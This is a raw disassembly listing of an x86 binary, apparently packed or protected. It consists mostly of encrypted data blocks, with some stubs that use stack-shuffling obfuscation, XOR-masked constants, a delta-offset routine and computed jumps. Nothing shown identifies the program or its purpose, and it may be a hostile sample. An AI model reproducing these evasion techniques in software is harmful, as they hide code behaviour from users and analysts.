		dd 99E9954h, 9FBF027Fh,	0CDD737B5h, 75E20D20h, 6F8D49E3h
		dd 0A124250Dh, 0F12FCC71h, 16B253B3h, 0CA208A71h, 0F75FA746h
		dd 0F2D11963h, 94033412h, 3D6Ch, 0A0B37600h, 0F2ECA537h
		dd 4437B277h, 76B7F7AAh, 4B592873h, 17A103EFh, 0AEE6A84Fh
		dd 400C9E2Ch, 7270CCAEh, 4A4C3B86h, 0E287377h, 0B1E392ECh
		dd 7806DE9Eh, 0F64238DCh, 0F65D9h, 0A0B36900h, 0FEECA537h
		dd 92384D6Bh, 906CEE26h, 50EA7C12h, 0D31F9DF4h,	8A2B55E7h
		dd 92720C2Eh, 31CB5CDFh, 5D11BF40h, 0C7515330h,	0E983FD1Fh
		dd 46B2CA6Dh, 4133D97Bh, 9A0D28FDh, 0B6EE7600h,	72DAE834h
		dd 4143A3DDh, 0FA5D18E9h, 485527D4h, 732E9E18h,	18937533h
		dd 0AA36C7DDh, 4FEA78D7h, 24296D75h, 0FBC2F549h, 6B00000Eh
		dd 933DB0C0h, 0C470FD7Fh, 0BA54832h, 0B814991Bh, 0DE4EE795h
		dd 0A0D47959h, 0F272A30Dh, 3E3ED143h, 85F705B7h, 661B87E8h
		dd 286C6726h, 9FEEDCEEh, 305CC543h, 34C651DCh, 4D6BB47Dh
		dd 0B2445E38h, 93138E18h, 7D286C6Ch, 4DEFCB27h,	4168233h
		dd 0D064E07Ah, 5F124EAAh, 27B14BDCh, 1DE19BBFh,	8A77F687h
		dd 68B4EE4Ch, 37FEC180h, 0E942FC5h, 39479B63h, 34ABBB3Ch
		dd 0E7Eh, 0B83547D4h, 0F382F81Ch, 20CDAF41h, 971E9CF4h
		dd 0C9641025h, 57FAD653h, 0F52C8825h, 0BD52FE77h, 748632C3h
		dd 98026B0Ah, 6C66A9E9h, 73516B28h, 4FE0A04Ah, 3DD3D12Dh
		dd 3547D5E1h, 8128CCE9h, 3547E975h, 0DBF6CEFDh,	0E7708430h
		dd 52000008h, 0A537A0B3h, 4D6B38ECh, 10AAF838h,	4CE2A6B4h
		dd 730A9C32h, 0F646AB57h, 18C646Dh, 2BFB8597h, 6BD55E7Ah
		dd 8EA02C28h, 0CE6904ECh, 0F507CF59h, 4839AF8Bh, 2FC4AF85h
		dd 0EE8BA10Dh, 9B99149Ch, 61FB89B7h, 82597030h,	6C02A020h
		dd 3AA587C5h, 0A81FD73Ch, 0DD6h, 0E08DEF0Ch, 5BDAA0B4h
		dd 882557F9h, 0FF76F42Ch, 31BCB85Dh, 0FF127EBBh, 4D44F07Dh
		dd 658A26CFh, 1C3E9A1Bh, 0F0AAD362h, 6C660181h,	8BF91328h
		dd 0DFD2A04Ah, 305CC4DFh, 1DD7331h, 9D5A7B5h, 73D3A94Dh
		dd 76CE4E47h, 985EFF01h, 5CC4A9E9h, 0AB396B30h,	924FEE02h
		dd 8430DC32h, 82D4Ch, 439F1600h, 0DC305CC5h, 1C5EF051h
		dd 0F71AC2C0h, 2C65F785h, 384D6C38h, 34902A78h,	7FD95426h
		dd 8E43A3DDh, 2F62F463h, 2FC547ACh, 5931B8EAh, 793C39B7h
		dd 0D3CF2E5h, 81AA0000h, 3ED27EF7h, 0F107B13Ch,	5A4AE68Fh
		dd 56FB55D8h, 18118F26h, 4EE795B8h, 0BC31B3E2h,	0F07DFF10h
		dd 29C4B644h, 67275A44h, 0A9286C66h, 0A04A2D93h, 0A8420ED6h
		dd 0EFA23CCEh, 305CC4AFh, 0BBF74361h, 0C333DA3Eh, 0AD85F71Bh
		dd 30DCA61Eh, 7A0C084h,	0B3E20000h, 8DEF01A0h, 8D346DFFh
		dd 7F384D6Ch, 0E43840D7h, 346E12DEh, 66103AA2h,	0ADCF6DCFh
		dd 6C14B051h, 22D286Ch,	4B8E0395h, 0B12FC546h, 462A6A27h
		dd 17132083h, 1F270645h, 0BF495B3Bh, 82CBC2C2h,	98505220h
		dd 5903AEF4h, 653C3930h, 0C94F6E9h, 29C20000h, 0E60AA64Fh
		dd 99BF1994h, 0B2E24EE7h, 0FE13BD30h, 0C079F77Eh, 0B63F3DD0h
		dd 0E4890B1Ah, 58D5A748h, 911C5EFCh, 0BFFFB2ECh, 51286C64h
		dd 0A04A453Bh, 0A8420ED6h, 394734C9h, 2902682h,	0BC5DB722h
		dd 3194A51Fh, 700C184h,	19C50000h, 27BD81F3h, 149C1C95h
		dd 2E74305Ch, 209FC0C2h, 0C7305CC5h, 7829C354h,	384D6BEEh
		dd 0EE7600A2h, 0D6EC304Ah, 2AC08C1Ah, 9D39A548h, 8135FD7Fh
		dd 6035096Bh, 3EC862F5h, 35FD7F96h, 0C5596154h,	26D3D12Fh
		dd 3C39A500h, 0F72B9C50h, 6F00000Bh, 9701ACCCh,	0D874F983h
		dd 0FA94436h, 0BC189517h, 0DA52E399h, 9CD87D5Dh, 0EE6EA711h
		dd 3A42D547h, 81F319BBh, 621F8BECh, 286C6422h, 4AEAD8F2h
		dd 0AA44D6A0h, 5CC4B7F7h
		dd 0EF4B5930h, 0BDF507B3h, 851FE765h, 305C2FF7h, 0C3BD5F89h
		dd 0E02F9132h, 6E4F8430h, 1B000001h, 0F3B3EE78h, 1D305CC4h
		dd 0ED0FAB87h, 256CF993h, 8F2FF2CDh, 2793CF2Bh,	0C1BB5D15h
		dd 5CD1677Dh, 47DEE09h,	305C6084h, 3387168Ch, 8D453A77h
		dd 10AD3FCDh, 0E4D82837h, 6442AE77h, 0B5664E2Dh, 865E4437h
		dd 7366C31Fh, 0F495B928h, 1A39DD27h, 27198Ch, 0B3A90000h
		dd 0ECA537A0h, 37B5AAEDh, 7E27FFA5h, 2873AA62h,	8653FA06h
		dd 8C19FB3Eh, 0B5C76BF3h, 429F5B69h, 0D9h, 0C4DC7860h
		dd 0C54F4F42h, 0E3C1305Ch, 1765894Dh, 597DB5CFh, 517DC1B3h
		dd 5A64B8BCh, 3EDA3FC3h, 55FBA14Dh, 3BC9DB2Bh, 4731DBFFh
		dd 26661BB5h, 0EE305C8Ch, 94207CB4h, 0FA62F486h, 0CFD529ABh
		dd 0CDE79E63h, 0AB305C5Fh, 2B7EF781h, 730D9F08h, 5FE8A8D9h
		dd 7A28305Ch, 8B36CFBEh, 0E88237B0h, 708AF9B9h,	0CD891B28h
		dd 0F9E54D2Fh, 0DF8711ABh, 0E0E2423Ah, 0F789AC08h, 708AFABAh
		dd 0FA881A28h, 4034D97Bh, 0CF3F3A9h, 0AC03D334h, 0A92h
		dd 0A4492BC0h, 1F96E408h, 4CE19BBDh, 8332B0E0h,	0F578FC11h
		dd 43D6C267h, 918B439h,	0A94EEA8Bh, 58F25ED7h, 0B4EE971Eh
		dd 6C62BDFDh, 47255728h, 413BDC78h, 0AF0BE7FDh,	0E343F28Ah
		dd 0EBF0664Ah, 38F09826h, 71FC7E9Ch, 0D6A04AD1h, 0CEA8420Eh
		dd 742DC727h, 305CC534h, 556AC6DCh, 4EAh, 37A0B3EDh, 0B089ECA5h
		dd 9B0937B5h, 0B0FEDA4Bh, 5EE22873h, 0F4A262BFh, 0EDC8C19h
		dd 0C2000002h, 0B4880A1Ah, 9FC0C22Eh, 305CC51Ah, 2BBD2AC5h
		dd 37DB8FA3h, 55EBF945h, 0CA960B9Dh, 0CA384D6Bh, 74864ED8h
		dd 23C96B0Ah, 0F143B855h, 0F65564D4h, 6C3E0383h, 1970D28h
		dd 5ACD683Dh, 5A8735C0h, 37BCE392h, 8B53EDFBh, 0B8CA1A9Ah
		dd 8C1E9170h, 8E142FC5h, 39F057E3h, 0F8EF673Ch,	9B2h, 0C4690B20h
		dd 3FB6C468h, 6C017B9Dh, 0A352D0C0h, 1598DC71h,	2336A287h
		dd 2978D459h, 89AE0AABh, 38D27EF7h, 0D4CEB73Eh,	6C61DDDDh
		dd 0A7053728h, 0ED6A04Ah, 76CEA842h, 1A9721A5h,	305CC49Ah
		dd 9CC0287Ah, 5721CBFDh, 0E09B65DEh, 34908430h,	0FA885426h
		dd 153E33Eh, 7BE30000h,	735FA7D1h, 475DA123h, 784B79B1h
		dd 0E4763ADCh, 0AA38049Ah, 0B6C06A4Eh, 97178A24h, 79305CC4h
		dd 2793CF2Bh, 97CA6B15h, 0EF791384h, 40A8D067h,	0B5ABE281h
		dd 45F5B037h, 882350AEh, 0E0815DF3h, 287362C4h,	24F594B8h
		dd 8C1A3DDCh, 351Ah, 0A0B3A800h, 0EDECA537h, 0A537B5AAh
		dd 0F9927FFh, 0AA7C3C75h, 0E942873h, 73AA1B9Bh,	2FAFF528h
		dd 0CABB7709h, 2873A9EEh, 12CF6E92h, 8C19FAB2h,	0B6CCh
		dd 0A04A9600h, 0AF420ED6h, 0B74571CDh, 0D5E740C2h, 0C157D0C5h
		dd 0D8C9637Dh, 305C1AD8h, 2A8E6A38h, 88FF7600h,	305CC7FEh
		dd 0B44630DAh, 0B8700228h, 4A1CA935h, 0A41CC3E7h, 1C1FD21Eh
		dd 6780F18Bh, 0B137B072h, 0AB7B0115h, 87BB8C19h, 4DA3CDBCh
		dd 11ABF9E5h, 533B4A84h, 62F4A3D0h, 38AE8A18h, 7203799Ch
		dd 544D33C6h, 28708C54h, 0D950E6BCh, 340CF06Fh,	57883F37h
		dd 8F000008h, 37610C6Ch, 78D45923h, 0AF09A4D6h,	0DC78F577h
		dd 3AB24339h, 0FC789DFDh, 4ECEC771h, 9AE275A7h,	0E193B91Bh
		dd 27F2B4Ch, 286C6182h,	4A0A7892h, 0FC58D5A7h, 7B052A5Eh
		dd 4AFA48E5h, 420ED6A0h, 0C727CEA8h, 60B1F91Fh,	2DE24EDCh
		dd 2BEh, 37A0B375h, 6C02ECA5h, 0D974384Dh, 3A00E51Dh, 10FC34FBh
		dd 0F7D3B292h, 0ED286C03h, 0A91BB861h, 0C58C21A1h, 26Bh
		dd 32722FB9h, 0E2286C10h, 9F5A68C0h, 305CC51Ah,	2BBD2AC5h
		dd 4D6C9476h, 10AAF838h, 4739DE86h, 0D186E2FFh,	63E3518Bh
		dd 0D68038CDh, 9B988995h, 0A7D17B5Fh, 86067B15h, 8E286C73h
		dd 67D1DC14h, 8711ABD5h, 6C738A0Ah, 0BC188A28h,	851FE765h
		dd 0B1BC71ADh, 732F6F22h, 0C3E1286Ch, 0B3E69B2Dh, 792FC55Fh
		dd 5EF2B2EFh, 45EA2083h, 0B5D9EB3Bh, 0FC4034D9h, 0F49850E6h
		dd 0AF8B03AEh, 9BAB3C39h, 75924h, 12628900h, 5F1D3163h
		dd 0AAD47AD6h, 0FB79A90Bh, 413BDE7Ah, 9FFB3CACh, 0C173027Ah
		dd 77A14CD0h, 0BB1598E0h, 294EE791h, 6084047Dh,	7E8C286Ch
		dd 0D6A04A08h, 0CEA8420Eh, 0A521A576h, 8A17EF6Dh, 11F48AE7h
		dd 0CB932157h, 6D9159DBh, 80F218CCh, 36C54EDh, 8C8A8431h
		dd 0D8000001h, 0ED6A04Ah, 27CEA842h, 0E476E10Ch, 0C557574Ah
		dd 0ECB9305Ch, 0ABE7EED6h, 1BD76505h, 0D475148Dh, 4EE737B4h
		dd 4048CACBh, 7A66D264h, 8D049E28h, 28734F0Dh, 0EA089D07h
		dd 0E8EBF340h, 30D10DE5h, 2873C494h, 0D125C448h, 569BC144h
		dd 0CE43A56h, 1A8045BFh, 2150EA8Ch, 28732961h, 29585849h
		dd 0EAB82873h, 61C4FFAAh, 0E5CC5FC9h, 3B469B57h, 1C000000h
		dd 0EE01A0B3h, 54EA68B8h, 7E7D34C6h, 1437B5ABh,	0F3CFB68Eh
		dd 0E92873AAh, 8F5B861Fh, 2E9E1948h, 19AC2B6Eh,	5EFE9C14h
		dd 6A78C446h, 1EBB628Eh, 8C1A56A6h, 0B7C0h, 0A04AE200h
		dd 0A7C483D1h, 8A52EB95h, 2AFA8863h, 2EB8019Ch,	5FF9FABDh
		dd 0F1890184h, 856D031Fh, 0A478FC11h, 0AC700228h, 0DE680A20h
		dd 0D44D4D44h, 0DDC7305Bh, 0BFF98815h, 97305C59h, 0F656D6CFh
		dd 0B8CA1A64h, 0C4B64470h, 0FD11BD29h, 73FEB37Fh, 8541C3D2h
		dd 0AB390577h, 0F50E8315h, 0B937AF85h, 60F551EBh, 0B9E88214h
		dd 286F84F9h, 5CA1891Bh, 921F5DF0h, 340D8922h, 0D3AD02D2h
		dd 3000005h, 4BE588E8h,	0FC58D5A7h, 238D205Ah, 50FC71F3h
		dd 0A636BFBDh, 78FC1181h, 0CA4A5BF5h, 1666892Bh, 5D1F3D9Fh
		dd 0BEF3AFD0h, 286C5DFEh, 4A86E416h, 0FC58D5A7h, 31911C5Eh
		dd 0ED6A04Ah, 0EBABE670h, 0ED305CC4h, 0D5EF37B5h, 0AB0FEBB9h
		dd 0F965F781h, 0C1CC24A8h, 2153F965h, 2CF6C9h, 4A080000h
		dd 700ED6A0h, 0E53943D4h, 7DF0A8D8h, 91272A35h,	9DDF7D59h
		dd 39E07441h, 12256D8Fh, 0E63E9A6Ah, 0AD40D664h, 1E18h
		dd 0A04AAA00h, 3C970ED6h, 32305CC5h, 34805C1Eh,	0CF8A5A20h
		dd 0E2768425h, 0B7458F2Eh, 4A9A28C5h, 0BB0ED6A0h, 0E49D2FB8h
		dd 384D6BF6h, 67193E9Ah, 3E73059Fh, 286C6B7Eh, 0EC7E0C96h
		dd 617EAC51h, 194599Eh,	0D46B5966h, 9C0AE6F0h, 0D5581A30h
		dd 5FA7D17Bh, 6EF86F8Ah, 5C81F233h, 0F4861C30h,	26B0C268h
		dd 18E466BEh, 0F123AE8Ah, 70C5195Bh, 0A9D872E5h, 27D46AAEh
		dd 0CD1E67FEh, 0A77B6D17h, 74FDA74Bh, 242A58CEh, 0BB4176CEh
		dd 2B000004h, 53FD7000h, 8430BDBFh, 0CB650872h,	78D459DBh
		dd 9E0EA7D5h, 60143999h, 0B23263CDh, 0FE7E9103h, 4537C577h
		dd 0A6DBC7A8h, 286C5CE6h, 4AAE1C2Eh, 0FD5FD6A0h, 0F5C11D5Fh
		dd 0E9831567h, 5CC4F8B8h, 99BC1830h, 0F38103E3h, 0EC10EB07h
		dd 7719B4Dh, 0DFEBD56Eh, 520B8430h, 5F000000h, 0A537A0B3h
		dd 0C516960Bh, 0A4FE305Ch, 742FA111h, 0CE4A4DAh, 0F9EDE79Ah
		dd 0E1C337B1h, 16968F57h, 0F98D0D84h, 1D872872h, 0E40BD3D5h
		dd 58EE88A2h, 0F8ECAED5h, 42E82872h, 950CA630h,	2872F915h
		dd 0C21A5FFh, 933D8068h, 8F20FC7Ch, 40Eh, 0D6A04AD7h, 0F899844h
		dd 5CC51292h, 12A00230h, 2CCE8A26h, 6D88A352h, 523160FAh
		dd 4037B5ACh, 0C7E38262h, 0BD2873ACh, 0D92BE891h, 5E8C19F3h
		dd 5105DCC7h, 0A200CF0Dh, 0A019AC0Eh, 6B867273h, 3Bh, 37A0B37Fh
		dd 0AAEDECA5h, 0FFA537B5h
		dd 0AA627E27h, 80062873h, 0E24ECCC4h, 0C202DF7Eh, 778C19FAh
		dd 9EDE71DDh, 4D4D3C46h, 3E2873B6h, 105578C0h, 30722208h
		dd 0D5A5F8h, 4A3D0000h,	0E00AD2A0h, 0C4A3E396h,	376D305Ch
		dd 0C4ACECA5h, 3E64305Ch, 0D57854A8h, 27FF7D91h, 9B370F9Dh
		dd 0A13F0771h, 0F554E014h, 4914B83h, 0AF45CD50h, 4175BD18h
		dd 5D24C9ABh, 305BEE73h, 34B9BB51h, 3C007298h, 0CF59CE69h
		dd 0B4CD03D2h, 0C7763337h, 0A536DC9Eh, 88A352E0h, 3160FA6Dh
		dd 2FC770E2h, 2A50E4D0h, 0B75A0294h, 698C28C5h,	9A6E1325h
		dd 7F4A9F04h, 39B046D4h, 3C35DEA7h, 0B00B78Fh, 5B000003h
		dd 832DC0B0h, 34600D6Fh, 7BD55822h, 0A804A92Bh,	0EE7EF785h
		dd 0B0C46949h, 282933Dh, 4E2EC173h, 95E775A7h, 762B7718h
		dd 286C5B36h, 78FEACDEh, 0C4F3B3EEh, 871D305Ch,	0C4FCBCF5h
		dd 8E14305Ch, 0AFE376A2h, 942EF676h, 2FCD6F06h,	7862A04Dh
		dd 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 0ABA8275Ah, 0B4EE37B5h
		dd 0AB1DB968h, 3FC32873h, 0FA837D9Eh, 0D7E38C19h, 0C7000000h
		dd 0ED6A04Ah, 0D7CAAF42h, 9FC664C9h, 0D92237D7h, 3C0E3B4Ch
		dd 85EE1169h, 71079554h, 0BACAF4ADh, 21BC305Ch,	7F4A03C7h
		dd 8B2F0B1Ah, 5E0C2161h, 0A137C547h, 0E88AA00Ch, 41D64114h
		dd 60B11DB7h, 0B68200DCh, 0B4B408D7h, 0F9742E37h, 0FB2A8BA6h
		dd 891FA579h, 34B666FFh, 195E1F63h, 15DD9FBDh, 0E7681E93h
		dd 5E442FC6h, 8FED00CCh, 0C5DC78E6h, 0DE5FF47h,	79F084A9h
		dd 3C3514FDh, 0F5609C5h, 47000002h, 8F29C4B4h, 309C116Bh
		dd 67D15C1Eh, 9400AD2Fh, 0E27AFB81h, 0B4C05545h, 6869F39h
		dd 522ACD6Fh, 99DB71A3h, 7A377314h, 286C5A3Ah, 4AC2A0DAh
		dd 2A4EE3A7h, 5CC53777h, 35CBD930h, 88A20EA7h, 7FE747EEh
		dd 415FA7D9h, 5CC55050h, 4CE2C030h, 0A04A26E4h,	4BC946D1h
		dd 0EB79E8EFh, 4FA0C451h, 3798E1B5h, 5C633A7Ah,	3AC8DA30h
		dd 416A2FEh, 0A2EBB77Dh, 42D00A42h, 89EB01B3h, 0D1922BB5h
		dd 1ED246CFh, 5D4BD347h, 234C13C8h, 881F1AD7h, 2EC883FEh
		dd 0B4EE37B5h, 68113768h, 51DC9EBCh, 0F284131Eh, 6ABAC46Ah
		dd 7C169058h, 75F1A0E1h, 0A28E03BCh, 0CBC5C0A3h, 70CCD62Fh
		dd 3749EE76h, 433DDFFBh, 9B42D6E3h, 5CB5C25Bh, 275333BAh
		dd 8C1B16CBh, 0FCDC63FAh, 57B041D9h, 8A5B5A5Ah,	5AE8BA20h
		dd 0F699089Eh, 6627E334h, 0D824A6FEh, 20826ECAh, 6F09238Dh
		dd 0A32171DDh, 98BF1B57h, 9FEB1CE0h, 0C7B55905h, 0A134D2D2h
		dd 88604218h, 0E903C564h, 4C2CC38Bh, 0FFBFF2F0h, 1118A134h
		dd 0E36BFD93h, 3C7C35B3h, 0D418A135h, 799C38CEh, 0F7AA3703h
		dd 2859F364h, 1FFA2D2Dh, 0B9C71F85h, 0A07CF81Dh, 0AB7B0114h
		dd 0BAF8B19h, 584F97E1h, 8FAA9534h, 92720C2Eh, 0B9E88210h
		dd 181124BEh, 0A707AEF4h, 2514940Dh, 0A6FC08CFh, 1384974Ah
		dd 773BDD79h, 3B0B99E3h, 2A6741A9h, 10BFCC0Dh, 17A38321h
		dd 57E17B05h, 0CCC4C4BDh, 564C00DEh, 0DECD6323h, 3BF7AD00h
		dd 0E39E28B6h, 0DECCA3h, 0DFFB376Dh, 2E3433Dh, 0F3B0261Fh
		dd 0B1731A3Eh, 314BEF9Bh, 27F09A3h, 0ED912782h,	0BF081792h
		dd 1FD31D0Dh, 282FF89h,	12ED9118h, 0FB555890h, 0C1DF2751h
		dd 0B78F0D05h, 0C1D1C52Dh, 888CE343h, 5D1527E1h, 6461BDBFh
		dd 0C2A20BF5h, 2CC250FCh, 7B051781h, 1434ABh, 0D06A0000h
		dd 9126E1A1h, 0B97133EDh, 0C5DC780Bh, 0DE5FF47h, 0A14AD1B7h
		dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh
		dd 356D69B5h, 0CD636FB7h, 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	3C88h
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	7F05A0Eh
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 45ED7630h
		pop	dword ptr [ebp+8]
		xor	dword ptr [ebp+8], 45ED7630h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 8E3Dh
		dd 0C1D82A26h, 0F06D41B8h, 0FFC50307h, 8FE2BBE0h, 5BD85238h
		dd 0D9D33C0Eh, 128452Ah, 15C8200Dh, 2654CD0Ch, 3771F138h
		dd 8EAEC208h, 78E1DE63h, 452D3E65h, 7D93A022h, 4B071E10h
		dd 6314C771h, 8FDBF54Bh, 24E51D70h, 81A0D031h, 0C06950h
		dd 20964252h, 6E67D86Bh, 0F68D8D54h, 6A07F06Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0EFDCC351h, 15890FA2h, 0E8000000h, 9, 1BE13AEFh, 0BBFB2023h
		dd 0E5858B2Fh, 5807E921h, 320D8D89h, 6A07E9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 14DD77C3h
		dd 0C7C28B4Eh, 0E922E585h, 635007h, 0B589F500h,	7E919A9h
		dd 22B185C7h, 7E9h, 9D330000h, 7E91515h, 2979B5FFh, 13E907E9h
		dd 8C000000h, 0D066FFF6h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h
		dd 95FFA004h, 7E92285h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 3FC35747h, 8B65AB2Bh,	0E9080D9Dh, 0FF006A07h
		dd 0E90C3195h, 0EBC08B07h, 43E44F5Dh, 1DBBF144h, 3E1D2306h
		dd 0AEE61765h, 0C8144765h, 809F8395h, 218B42FAh, 93348B07h
		dd 7DF66AD7h, 0D07D9EB8h, 36B86509h, 0F09C4245h, 0C028F70Dh
		dd 5E2A34D4h, 0E23F9840h, 180A92A0h, 34A819D7h,	92BFAA5Eh
		dd 2291E05Fh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh,	839D4F4Fh
		dd 0AE81E27h, 0BD000000h, 0CC7F33FEh, 9FA65F28h, 2BD9818Dh
		dd 5B1C0D77h, 49B533h, 0C38107E9h, 5D8Dh, 0FEB8D3B2h, 81599A4Bh
		dd 65CB33C0h, 68A0FA6h,	31000000h, 0E907DD8Dh, 663B8B07h
		dd 4EC5CA81h, 0A398EF81h, 858915B5h, 7E917BDh, 0C4C5F781h
		dd 65BA5CA6h, 8162349Bh, 0D04E26EFh, 0C88B5059h, 0EE95759h
		dd 0D3000000h, 0EA2512D2h, 43A380Bh, 0A477B0B7h, 66038F50h
		dd 0FEDDE281h, 6603EB83h, 0CBCDE681h, 0C1B58B4Bh, 4807E91Bh
		dd 29850Fh, 0EE90000h, 1C000000h, 0AF88CFF6h, 0B7A84299h
		dd 0E34551F4h, 26E9F1h,	75BE0000h, 0D93880EDh, 51B6BF6Eh
		dd 26094397h, 0E940B3A3h, 0FFFFFF79h, 0ADC4B5F4h, 2F4EDD01h
		dd 4AA02A9Eh, 0B0BCEE26h, 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5FADE9	proc near		; CODE XREF: sub_4068E0+12Cp
					; sub_409CA0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7F07038h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5FAF3F
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 8793D91Ah
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7E9320Dh],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0CB306396h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7E922E5h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7E922B1h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5FAF03
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E91FF5B5h, 0B9E907h, 0B5FF0000h, 7E9245Dh, 0AEE9h
		dd 79B5FF00h, 0E907E929h, 0A3h,	2045B5FFh, 98E907E9h, 0FF000000h
		dd 0E929A5B5h, 8DE907h,	0B5FF0000h, 7E91E05h, 82E9h, 55B5FF00h
		dd 0E907E91Fh, 77h, 12D1B5FFh, 6CE907E9h, 0FF000000h, 0E90E1DB5h
		dd 61E907h, 0B5FF0000h,	7E9170Dh, 56E9h, 51B5FF00h, 0E907E931h
		dd 4Bh,	0F11B5FFh, 40E907E9h, 0FF000000h, 0E91A89B5h, 35E907h
		dd 0B5FF0000h, 7E91735h, 2AE9h,	6DB5FF00h, 0E907E92Ch
		dd 1Fh,	2279B5FFh, 14E907E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5FAF03:				; CODE XREF: sub_5FADE9+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+7F07099h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9228595h, 858B5B07h, 7E9320Dh, 0F045839h, 0F85h, 16A5300h
		dd 0C3195FFh, 0E95B07E9h, 0FFFFFFE2h
		db 61h,	5Ah, 0C3h
; ---------------------------------------------------------------------------


loc_5FAF3F:				; CODE XREF: sub_5FADE9+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5FADE9	endp

; ---------------------------------------------------------------------------
		dd 0AD5858Bh, 8D8D07E9h, 7F07187h, 8B014189h, 5985C6C3h
		dd 5607E926h, 0C530DF68h, 11B5FFA9h, 8D07E90Bh,	0EC9FDB85h
		dd 8DD0FF07h, 0E92B298Dh, 406A5107h, 93DB5FFh, 0B5FF07E9h
		dd 7E91BADh, 0B5FFD0FFh, 7E9093Dh, 1BADB5FFh, 0EE807E9h
		dd 0BE000000h, 0E0C22B18h, 476F9EDAh, 925069DEh, 835E5E9Ah
		dd 2CC104EEh, 24C10224h, 34030224h, 241CF724h, 0BAh, 3234FF00h
		dd 49F3815Bh, 8125BA9Fh, 2A0773C3h, 0A9F3812Fh,	8901781Bh
		dd 0EA83161Ch, 24143B04h, 0F850Fh, 17E90000h, 3D000000h
		dd 2EC1B25Ch, 1A07FADFh, 0FFC7E9C5h, 6898FFFFh,	0E40EE9D2h
		dd 9D8D3C10h, 7E92089h,	0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh
		dd 0E8C98B18h, 0Ah, 5D933AF1h, 4DF57707h, 0CE8ECC3h, 79000000h
		dd 0C0E7AF96h, 826DA65Dh, 66468A1Bh, 2707F281h,	5A565B5Ah
		dd 5B14C381h, 0DA810000h, 4DDFB0CCh, 48BC92Bh, 0C081F80Bh
		dd 718E194Ch, 18E0Fh, 81F90000h, 7120BDC0h, 3FC08112h
		dd 8A68E76Fh, 0B96050F7h, 41212EB1h, 0B048F61h,	0E43FC9BAh
		dd 5820F61h, 0BF000000h, 764C15B9h, 8104E983h, 0FFA584F9h
		dd 0C850FFFh, 0B6000000h, 1AE93Eh, 9790000h, 6688C04Ch
		dd 0A3E9FE8Bh, 0D9FFFFFFh, 0B02D37FEh, 0F372370Dh, 705CDB7Eh
		dd 73FD8D8Dh, 6A07F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 75D93C3h, 0C34DF577h, 320D8D89h
		dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0CA4382C3h, 89CA0D95h, 0E92CB18Dh, 0E585C707h
		dd 2007E922h, 6A00005Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0AA0AC352h,	0CFFAD7A3h
		dd 29BFCE4Ch, 0E92619BDh, 0B185C707h, 7E922h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 8AEFC352h, 0F533DE2h, 789h, 76BB6000h, 6136E084h
		dd 2C6DB5FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D43FBC3h, 5A401018h, 228595FFh
		dd 9D8907E9h, 7E90B05h,	95FF006Ah, 7E90C31h, 79EBC08Bh
		dd 191996CBh, 47A2F54Ah, 7D3FD91Bh, 1C15EAC7h, 0F3D6602h
		dd 0C0976803h, 5196D32Dh, 2DEA8F77h, 3E187B25h,	0F566CA3Ah
		dd 144EE076h, 0B2C684A1h, 63F6E873h, 0DB42AAh, 31602897h
		dd 569E0345h, 3EE9A20Fh, 8476F119h, 53D5691Dh, 0B18C8F49h
		dd 587B650Ah, 24734ED9h, 0CCB2C91Dh, 910F1B0Dh,	158DB7B7h
		dd 62D885A5h, 42112224h, 78C933F0h, 0D32B87B3h,	7C5DE694h
		dd 19E9A1h, 0D9330000h,	58Eh, 4	dup(0)
		dd 0E9000000h, 4CCh, 0F075F468h, 71CE907h, 7768FFF9h, 0E907F076h
		dd 0FFF90712h, 0F077A968h, 708E907h, 65F6FFF9h,	1A3E9A1Bh
